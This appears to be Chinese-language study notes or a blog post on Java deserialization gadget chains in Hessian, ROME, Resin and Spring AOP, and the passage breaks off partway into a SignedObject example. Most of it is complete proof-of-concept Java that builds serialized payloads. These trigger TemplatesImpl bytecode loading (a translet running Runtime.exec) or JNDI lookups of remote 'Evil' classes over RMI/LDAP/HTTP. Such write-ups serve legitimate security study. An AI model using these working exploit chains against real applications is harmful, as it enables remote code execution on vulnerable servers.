13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import java.io.Serializable;

public class Person implements Serializable {
public String name;
public int age;

public int getAge(){
return age;
}
public String getName(){
return name;
}

public void setAge(int age) {
this.age = age;
}

public void setName(String name) {
this.name = name;
}
}

HessianTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;

public class HessianTest implements Serializable {

public static void main(String[] args) throws IOException{
Person xiaoming = new Person();
xiaoming.setAge(10);
xiaoming.setName("xiaoming");

byte[] s = serialize(xiaoming);
System.out.println((Person)deserialize(s));
}
}

在IDEA中,对 Object o = input.readObject();下断点,启动调试运行:

readObject()当中调用read()来获取tag,随后根据tag的类型来进行分类处理:

跟进到read()中发现其读取的是字节数组的第一个元素值,这里是77ASCII对应的字母是M,因为Hessian的序列化总会把结果处理成一个Map,所以这里的tag总会是M。在case 'M'的情况下,先获取待反序列化对象的类型,之后再调用readMap()进行处理:

跟进到readMap()中,可以看到会先调用getDeserializer()来获取相应类型的deserializer,并调用其readMap()进行处理;如果获取不到,就会进入到_hashMapDeserializer.readMap

deserializer.readMap()中,会先实例化一个空对象,随后调用readMap()

readMap()中,会将obj加入引用中以便来寻找值,随后循环对值进行恢复,通过_fieldMap来获取相应的Deserializer,根据获取到的Deserializer进入相应的deserialize方法中。

进入deserialize方法后,会对键对应的值进行读取,这里读取的是字符串,所以对应的是readString(),之后对obj进行恢复赋值。

不同的类型的键会有不同的Deserializer,相应的就会有不同的deserialize方法,如果对应的键值是unsafe对象的话则会获取UnsafeDeserializer,在deserialize中就会调用readObjectin进行反序列化。

对于Map类型则会获取MapDeserializer,在deserialize中会调用如下的readMap()

如果_typeMap则使用HashMapSortedMap则使用TreeMap(),接着在while 循环中读取 key-value 的键值对并调用 put 方法,在put里面就会调用到putValhash了,到这里就可以接上我们熟悉的一些链子了,例如HashMap触发hashCode()equals()TreeMap触发compareTo()

ROME

前面一篇中详细介绍了ROME的反序列化漏洞调用的原理,最主要的逻辑就在于ToStringBeantoString中对于getter的循环调用,而诸如EqualsBean的类则能够触发它toString,触发EqualsBean的逻辑就在于HashMapput的时候会做哈希从而调用到hashCode。那么如果放在Hessian反序列化中,就会自动触发HashMapput,也就触发了ROME的任意类加载。

这里还可以使用SignedObject来避开不出网限制。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
package org.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.math.BigInteger;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.reflect.Field;
import java.security.*;
import java.security.interfaces.DSAParams;
import java.security.interfaces.DSAPrivateKey;
import java.util.HashMap;

public class EqualsBeanTest {
public static void main(String[] args) throws Exception {
//二次反序列化的对象
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);

//第一次反序列化的对象
SignedObject signedObject = makeSObj(hashMap);
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,"1");
EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class,toStringBean1);
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(equalsBean1,"123");
setValue(toStringBean1,"_obj",signedObject);
serialize(hashMap1);

unserialize("ser1.bin");


}
public static SignedObject makeSObj(Serializable o) throws IOException, InvalidKeyException, SignatureException {
return new SignedObject((Serializable) o,
new DSAPrivateKey() {
@Override
public DSAParams getParams() {
return null;
}

@Override
public String getAlgorithm() {
return null;
}

@Override
public String getFormat() {
return null;
}

@Override
public byte[] getEncoded() {
return new byte[0];
}

@Override
public BigInteger getX() {
return null;
}
},
new Signature("1") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

}

@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

}

@Override
protected void engineUpdate(byte b) throws SignatureException {

}

@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

}

@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}

@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}

@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

}

@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
}
);
}

private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}

public static void serialize(Object obj) throws IOException {
HessianOutput oos = new HessianOutput(new FileOutputStream("ser1.bin"));

oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException{
HessianInput ois = new HessianInput(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

Resin

Resin也是CAUCHO公司的产品,是一个非常流行的支持servlets 和jsp的引擎,速度非常快。它里面有一个类QNAME,用来表示一个解析的JNDI接口名称:

这里我们关注它的toString函数,通过for循环遍历当前对象包含的所有成员,随后进行相应的处理,首先会获取当前元素的值赋值给str,随后根据name是否为null进行不同的处理,如果namenull则直接把str赋值给name,否则调用了_context.composeName获取name,如果触发NamingException则会对namestr用斜杠进行拼接。

ContinuationContext类的composeName实现中调用了getTargetContext,看起来有点远程类加载的意味。在getTargetContext中如果满足contCtxnullcpe.getResolvedObj()返回不为null就可以调用NamingManager.getContext

只要obj的不是Context类型就能够走到调用getObjectInstance()的地方。这里看一下getObjectInstance的注释:

getObjectInstance是用来为指定的对象和环境创建对象的实例。如果 refInfo 是没有工厂类名的 ReferenceReferenceable,并且地址是地址类型为“URL”的 StringRefAddrs,则尝试与每个 URL 的方案 id 对应的 URL 上下文工厂来创建对象。在方法的实现中,也是对refInfo进行了类型的判断,如果是ReferenceReferenceable类型就会赋值给ref,从而在接下去的if判断中不为null,如果ref.getFactoryClassName()不为空就会调用到getObjectFactoryFromReference

getObjectFactoryFromReference会先尝试直接通过factoryName加载类,找不到之后再通过ref.getFactoryClassLocation()获取codebase,调用helper.loadClass进行类加载:

如果开启trustURLCodebase,就会调用URLClassLoader.newInstanace()进行远程类加载,随后loadClass返回的cls会在前面的NamingManager#getObjectFactoryFromReference进行实例化。

这里可以先做一个测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.example;

import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;

import com.caucho.naming.QName;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class ResinTest {
public static void main(String[] args) throws Exception {
String refAddr = "http://127.0.0.1:8000/";
String refClassName = "Evil";
Reference ref = new Reference(refClassName,refClassName,refAddr);
CannotProceedException cannotProceedException = new CannotProceedException();
setFiled("javax.naming.NamingException",cannotProceedException,"resolvedObj",ref);
Hashtable hashtable = new Hashtable();
Class<?> cla = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = cla.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
Context continuationContext = (Context) constructor.newInstance(cannotProceedException,hashtable);
QName qName = new QName(continuationContext,"1","2");
qName.toString();

}
public static void setFiled(String className, Object o, String filedName, Object value) throws Exception{
Class<?> cl = Class.forName(className);
Field field = cl.getDeclaredField(filedName);
field.setAccessible(true);
field.set(o,value);
}

}

那么接下去就是如何触发toString的问题了,如果不依赖于ROME的话,我们可以想到之前HotSwappableTargetSourceXString那一段链子,XString的equals会调用到obj2.toString(),只要obj2为前面的qName就可以接上去。

那么自然而然的就会想到HashMap了:

满足p.hash == hashp.key!=keykey != null就可以调用到key.equals(k),根据前面的推理k得是qNamekeyxString,这里的key是后面put进来的,k是原先就有的,所以qName应该先puthashMapxStringputhashMap

对于key不相等hash想等的问题,这里可以关注到XStringhashCode函数:

他返回的是m_obj.hashCode(),那么我们可以先获取qName的hash,通过哈希的逆算法来得到相应的String值,然后赋值给m_obj就可以了。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package org.example;


import com.caucho.hessian.io.*;

import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class ResinTest {
public static void main(String[] args) throws Exception {
String refAddr = "http://127.0.0.1:8000/";
String refClassName = "Evil";
Reference ref = new Reference(refClassName,refClassName,refAddr);
CannotProceedException cannotProceedException = new CannotProceedException();
setFiled("javax.naming.NamingException",cannotProceedException,"resolvedObj",ref);
Hashtable hashtable = new Hashtable();
Class<?> cla = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = cla.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
Context continuationContext = (Context) constructor.newInstance(cannotProceedException,hashtable);
QName qName = new QName(continuationContext,"foo","bar");
// qName.toString();
int hash = qName.hashCode();
String string = unhash(hash);
XString xString = new XString(string);
HashMap hashMap = new HashMap();
hashMap.put(qName,"1");
hashMap.put(xString,"2");
serialize(hashMap);

unserialize("ser.bin");
}
public static String unhash(int hash){
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static void setFiled(String className, Object o, String filedName, Object value) throws Exception{
Class<?> cl = Class.forName(className);
Field field = cl.getDeclaredField(filedName);
field.setAccessible(true);
field.set(o,value);
}
public static void serialize(Object obj) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
HessianOutput hessianOutput = new HessianOutput(fileOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessianOutput.setSerializerFactory(serializerFactory);
hessianOutput.writeObject(obj);
hessianOutput.close();
}

public static Object unserialize(String filename) throws IOException{
FileInputStream fileInputStream = new FileInputStream(filename);
HessianInput hessianInput = new HessianInput(fileInputStream);
HashMap o = (HashMap) hessianInput.readObject();
return o;
}
}

Srping AOP

这一条链还是从equals开始,org.springframework.aop.support.AbstractPointcutAdvisorequals会首先对other进行判断,不等于自身而且是PointcutAdvisor类型就会在后续逻辑中调用getAdvice()

这里可以看到org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisorgetAdvice()实现,advicenull则会调用this.beanFactory.getBean()

紧接着看到org.springframework.jndi.support.SimpleJndiBeanFactorygetBean()实现,如果this.isSingleton(name)false就会调用到this.lookup进行远程获取:

之后会调用org.springframework.jndi.JndiLocatorSupportlookup

进而调用org.springframework.jndi.JndiTemplatelookup()

最后lookup会根据name加载远程类:

构造测试链的话就是从后往前套:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws Exception{
String rmi = "ldap://127.0.0.1:1099/Evil";
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
simpleJndiBeanFactory.addShareableResource(rmi);

Class<?> cl = Class.forName("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor");
DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor();
defaultBeanFactoryPointcutAdvisor.setBeanFactory(simpleJndiBeanFactory);
defaultBeanFactoryPointcutAdvisor.setAdviceBeanName(rmi);

AsyncAnnotationAdvisor asyncAnnotationAdvisor = new AsyncAnnotationAdvisor();
defaultBeanFactoryPointcutAdvisor.equals(asyncAnnotationAdvisor);

}

因为other对传入的类型有要求,所以这里就传了一个继承PointcutAdvisorAsyncAnnotationAdvisor类。

因为调用的是defaultBeanFactoryPointcutAdvisorequals,所以在HashMap中他应该在前面,POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;

import org.springframework.aop.PointcutAdvisor;
import org.springframework.aop.support.*;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;

public class AOPTest {
public static void main(String[] args) throws Exception{
String rmi = "ldap://127.0.0.1:1099/Evil";
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
simpleJndiBeanFactory.addShareableResource(rmi);

Class<?> cl = Class.forName("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor");
DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor();
defaultBeanFactoryPointcutAdvisor.setBeanFactory(simpleJndiBeanFactory);
defaultBeanFactoryPointcutAdvisor.setAdviceBeanName(rmi);

AsyncAnnotationAdvisor asyncAnnotationAdvisor = new AsyncAnnotationAdvisor();
defaultBeanFactoryPointcutAdvisor.equals(asyncAnnotationAdvisor);
HashMap hashMap = new HashMap();
hashMap.put(defaultBeanFactoryPointcutAdvisor,"1");
hashMap.put(asyncAnnotationAdvisor,"2");
serialize(hashMap);
unserialize("ser.bin");


}
private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
public static void setFiled(String className, Object o, String filedName, Object value) throws Exception{
Class<?> cl = Class.forName(className);
Field field = cl.getDeclaredField(filedName);
field.setAccessible(true);
field.set(o,value);
}
public static void serialize(Object obj) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
HessianOutput hessianOutput = new HessianOutput(fileOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessianOutput.setSerializerFactory(serializerFactory);
hessianOutput.writeObject(obj);
hessianOutput.close();
}

public static Object unserialize(String filename) throws IOException{
FileInputStream fileInputStream = new FileInputStream(filename);
HessianInput hessianInput = new HessianInput(fileInputStream);
HashMap o = (HashMap) hessianInput.readObject();
return o;
}
}

ROME反序列化

前置知识TemplatesImpl任意类加载、JNDI注入

简介

ROME库支持将Java对象转换成xml数据,同时也支持将xml数据转换成Java对象。

环境依赖

1
2
3
4
5
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>

ROME提供了toStringBean类,可以利用toString方法对Java Bean进行操作。而这里面的toString方法就是ROME反序列化漏洞调用链的关键之一。

任意类加载

toString当中能调用到任意的getter,而我们TemplatesImpl类的任意类加载正是利用了getOutputProperties()这一getter。

BeanIntrospector.getPropertyDescriptors之后会在下面循环调用获取到的getter方法进行反射调用,所以如果ToStringBean_beanClassTemplates的话,那么在获取getter的时候就可以获取到getOutputProperties方法来反射调用,从而触发TemplatesImpl类的任意类加载。

所以现在问题的关键就在于如何在反序列化的过程中调用ToStringBean.toString(),也就是说要找到一个可以从readObjecttoString的路径。

可以做一个测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
ROMEtoStringTest.java
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.reflect.Field;

public class ROMEtoStringTest {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("savedir\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
toStringBean.toString();
}

private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}

shell.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class shell extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public shell() throws IOException {
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
}

EqualsBean

在ROME中有一个EqualsBean类,他从在这样一条调用链:hashCode–>beanHashCode–>_obj.toString(),这里的_objEqualsBean的一个可控的成员变量。那么到这里我们就可以联想到HashMap在反序列化的时候就会调用到hashCode,这里也就可以接上去了。

POC如下:

需要注意的是在序列化之前为了防止提前触发任意类加载,toStringBean_obj要在hashMap.put之后再通过反射进行赋值,因此这里new ToStringBean的时候会先把new ConstantTransformer(1)塞进去,需在再加一个依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
    <dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.1</version>
</dependency>
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.reflect.Field;
import java.util.HashMap;

public class EqualsBeanTest {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("savedir\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);
serialize(hashMap);
unserialize("ser1.bin");


}

private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

ObjectBean

这个类在他的hashCode()里面调用了_equalsBean.beanHashCode(),那么他其实就相当于EqualsBeanhashCode

​ 所以POC也只需要把EqualsBean的改一下就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("savedir\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);
serialize(hashMap);
unserialize("ser.bin");
}

HashTable

前面都是HashMaphashCode()入口来调用到Java Bean对象中的方法,从而导致后面的任意类加载,如果HashMap被禁用了之后,是否还有替代品呢?答案是有的,那就是HashTable。在HashTablereadObject中调用了reconstitutionPut来对每一个键值对进行处理:

而在reconstitutionPut中就对key调用了hashCode,那么这里就接上了,如果keyEqualsBeanObjectBean的话,那么整条链子也就能接上了。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
// EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//这里用EqualsBean也是可以的
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
// HashMap<Object,Object> hashMap = new HashMap<>();
// hashMap.put(objectBean,"123");
Hashtable<Object,Object> hashtable = new Hashtable<>();
hashtable.put(objectBean,"aaa");
setValue(toStringBean,"_obj",templates);
serialize(hashtable);
unserialize("ser.bin");
}

BadAttributeValueExpException

前面TostringBean中要调用toString是通过hashCode来进行调用的,其实说到toString会让人想起CC5的BadAttributeValueExpException

它在readObject的时候就会调用valObj.toStringvalObj其实就是可控对象成员val,把它的值设为toStringBean岂不就成了。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("savedir\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,toStringBean);
setValue(toStringBean,"_obj",templates);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}

HotSwappableTargetSource

整条链子会稍微复杂一点,前面是CC6的HashMap之后是接了一段XString再触发ToStringBeantoString。首先是XStringequals,如果对比的变量是Object类型的话就会调用以下函数:

我们可以看到只要obj2不是null,其类型不是XNodeSetXNumber的话,那么就会调用到obj2.toString,只要obj2ToStringBean的话就可以接上后面的链子。而equals函数的调用可以看到springframework的HotSwappableTargetSource

它的equal会调用成员变量targetequals方法。那么熟悉的就来了,HashMapreadObject会调用putVal从而触发equals,这样整条链子也就串起来了。

具体而言,HashMapputVal是一个添加元素函数,在把键值对放入HashMap的时候会检查待插入元素是不是已有的内容,所以就会比较hashkey是否相同,在这个时候就会拿table中p结点的key(在代码中为k)和要插入的key做比较,调用的是后者的equals函数,前者作为参数输入。套到HotSwappableTargetSourceequalsk对应的就是otherkey对应的就是this,在函数中this.target.equals(((HotSwappableTargetSource) other).target),其实就是key.target.equals(k.target),为了能够调用到前面XStrtingequals并触发任意类加载,那么k.target就必须得是ToStringBean类型,key.target就必须得是XString类型。那么带有ToStringBeanHotSwappableTargetSource对象实例应该先putHashMap中,随后在把带有XStringHotSwappableTargetSource对象实例put进去。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//import org.springframework.aop.target.HotSwappableTargetSource;

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,"h1");
hashMap.put(h2,"h2");
setValue(toStringBean,"_obj",templates);
serialize(hashMap);
unserialize("ser.bin");
}

JdbcRowSetImpl

由最开始我们知道,ToStringBean的问题就处在了toString函数中回去遍历反射调用获取到的getter,而众所周知除了TemplatesImpl的getter方法getOutputProperties会触发任意类加载外,还有JdbcRowSetImpl的getter方法getDatabaseMetaData会触发JNDI注入:

getDatabaseMetaData中调用的connect函数:

connect中就会触发InitialContextlookup,而dataSource是可控的,因此就可以通过RMI或者LDAP协议加载远程恶意类。

当然这个方法有一定的限制,那就是trustURLCodebase,目前有效的版本只有:

  • RMI:JDK 6u132JDK 7u122JDK 8u113之前
  • LDAP:JDK 7u2018u1916u211JDK 11.0.1之前

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//import com.sun.rowset.JdbcRowSetImpl;
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/Evil");

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",jdbcRowSet);
serialize(hashMap);
unserialize("ser.bin");
}

当然,这一段也可以和前面其他的片段进行拼接。

SignedObject

由于ToStringBean.toString的getter循环获取及反射调用,导致可以去找能够到达sink的getter来进行利用,java.security.SignedObject就是第三个可以利用的点:

getObject中,调用了readObject,内容则是来自可控的成员变量content,那么再次就可以造成二次序列化,将序列化之后的字节数组放入content中,在反序列化过程中就会再将content中的内容拿出来反序列化一次,这样就可以绕过反序列化入口处的黑名单限制。

那么我们就来看看SignedObject的构造函数:

只需要把我们要二次序列化的对象塞进去就可以了,它会自动帮我们进行序列化并转为字节数组,需要注意的是后面两个参数也要塞东西防止出错导致构造失败。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.security.interfaces.DSAParams;
import java.security.interfaces.DSAPrivateKey;
import java.security.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.math.BigInteger;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.reflect.Field;

import java.util.HashMap;

public class SignedObjectTest {
public static void main(String[] args) throws Exception {
//二次反序列化的对象
TemplatesImpl templates = new TemplatesImpl();
